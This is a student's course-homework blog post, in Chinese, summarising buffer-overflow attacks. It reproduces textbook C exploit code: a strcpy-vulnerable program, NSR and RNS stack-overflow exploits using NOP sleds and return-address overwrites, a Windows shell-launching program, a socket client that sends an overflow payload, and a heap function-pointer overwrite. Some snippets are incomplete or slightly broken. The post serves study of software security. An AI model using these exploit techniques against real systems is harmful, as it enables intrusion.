20199321 2019-2020-2 《网络攻防实践》第十周作业

1.实践内容

1.1 软件安全概述

1.2 缓冲区溢出基础概念

1.3 Linux平台上的栈溢出与shellcode

有栈溢出漏洞的程序(在进行strcpy字符串拷贝函数的时候并没有进行长度的校验,很容易造成栈溢出)

#include <stdio.h> 
int main(int argc,char **argv){ 
   char buf[500]; 
   strcpy(buf,argv[1]); 
   printf("buf's 0x%8x
",&buf); 
   getchar();
   return 0; 
} 

  • NSR模式实例
    攻击代码
#include<stdio.h> 
#include<stdlib.h> 
#include<string.h>
char shellcode[];

int main(int argc,char *argv[]){ 
      char buf[530]; 
      char* p; p=buf; 
      int i; 
      unsigned long ret; 
      int offset=0; 
/* offset=400 will success */ 
      if(argc>1) offset=atoi(argv[1]); 
      ret=get_esp()-offset; 
      memset(buf,0x90,sizeof(buf)); /*用0x90即NOP填充buf */ 
      memcpy(buf+524,(char*)&ret,4); /*覆盖RET返回地址*/
      memcpy(buf+i+100,shellcode,strlen(shellcode)); /*程序跳转到NOPS “着陆区”*/ 
      printf("ret is at 0x%8x
 esp is at 0x%8x
", ret,get_esp());
      execl("./vulnerable1","vulnerable1",buf,NULL); /*执行漏洞程序*/ 
      return 0; 
}
  • RNS模式实例
    攻击代码
#include<stdio.h> 
#include<stdlib.h> 
#include<string.h>
char shellcode[];

int main(int argc,char **argv){ 
      char buf[500]; #分配一个500BYTES的大BUF,用于我们的构造把整个BUFFER填满NOPS             
      unsigned long ret,p; 
      int i; 
      p=&buf; 
      ret=p+70; 
      memset(buf,0x90,sizeof(buf)); /*用0x90即NOP填充buf */ 
      for(i=0;i<44;i+=4) 
      *(long *)&buf[i]=ret; 
      memcpy(buf+400+i,shellcode,strlen(shellcode)); /*复制shellcode*/       
      execl("./vulnerable2","vulnerable2",buf,NULL); /*执行漏洞程序*/ 
      return 0; 
}

  • Windows本地Shellcode程序(c语言)

使用LoadLibrary()函数加载msvert.dll动态链接库,通过GetProcAddress()函数获得system函数的加载入口地址,赋值给ProcAdd函数指针,然后通过函数指针调用system()函数,启动命令行Shell,最后还要调用exit()退出当前进程。

#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR);
typedef void (*MYPROC2)(int);
int main()
{
        HINSTANCE LibHandle;
        MYPROC ProcAdd;
        MYPROC2 ProcAdd2;
        char dllbuf[11]  = "msvcrt.dll";
        char sysbuf[7] = "system";
        char cmdbuf[16] = "command.com";
        char sysbuf2[5] = "exit";
        LibHandle = LoadLibrary(dllbuf);
        ProcAdd = (MYPROC)GetProcAddress(LibHandle, sysbuf);
        (ProcAdd)(cmdbuf);

        ProcAdd2 = (MYPROC2) GetProcAddress(LibHandle, sysbuf2);
        (ProcAdd2)(0);
}

1.4 Windows平台上的栈溢出与shellcode

  • Windows远程栈攻击示例

首先创建了一个客户端socket,并连接目标漏洞服务程序所监听的IP地址与端口;缓冲区的大小是1024,首先填充了一段Nop指令;在事先计算好的返回地址位置上放置了一个指向“JMP ESP"指令的地址,该指令地址在不同的目标程序运行系统上是不一样的,由攻击者通过在各个系统环境中调试获得。

int main() { 
      WSADATA wsa; 
      SOCKET sockFD; 
      char Buff[1024],*sBO; 

      WSAStartup(MAKEWORD(2,2),&wsa); 
      sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 
      struct sockaddr_in server; 

      server.sin_family = AF_INET; 
      server.sin_port = htons(3764); 
      server.sin_addr.s_addr=inet_addr("127.0.0.1"); 

      connect(sockFD,(struct sockaddr *)&server,sizeof(server)); 
      for(int i=0;i<56;Buff[i++]=0x90); 
      strcpy(Buff+56,(char *)eip); 
      strcpy(Buff+60,(char *)sploit); 
      sBO = Buff; send(sockFD,sBO,56+4+560,0); 
      closesocket(sockFD); 
      WSACleanup(); 
      return 1; 
}

1.5 堆溢出攻击

  • 函数指针改写示例
#define ERROR -1 	 
#define BUFSIZE 16 	
int goodfunc(const char *str) 	 
{ 	 
	printf("
Hi, I'm a good function. I was called through funcptr.
"); 	 
	printf("I was passed: %s
", str); 	 
	return 0; 	 
}
int main(int argc, char **argv) 
{ 	 
	static char buf[BUFSIZE]; 	 
 	static int (*funcptr)(const char *str); 	 
	if (argc <= 2) 	 
	{ 	 
		fprintf(stderr, "Usage: %s <buffer> <goodfunc's arg>
", argv[0]); 
		exit(ERROR);
	}
	printf("system()'s address = %p
", &system); 	 
	funcptr = (int(*)(const char *str))goodfunc; 
	printf("before overflow: funcptr points to %p
", funcptr); 	 
	memset(buf, 0, sizeof(buf)); 
	strncpy(buf, argv[1], strlen(argv[1])); 
	printf("after overflow: funcptr points to %p
", funcptr); 	 
	(void)(*funcptr)(argv[2]); 
	return 0; 
} 	

1.6 缓冲区溢出攻击的防御技术

2 总结

原理还是有些难懂,有的图也不是很清晰,看到有更清楚的图,结合着在理解遍一下。

3 参考文献

  • 《网络攻防技术与实践》(诸葛建伟著)
原文地址:https://www.cnblogs.com/20199321zjy/p/12827230.html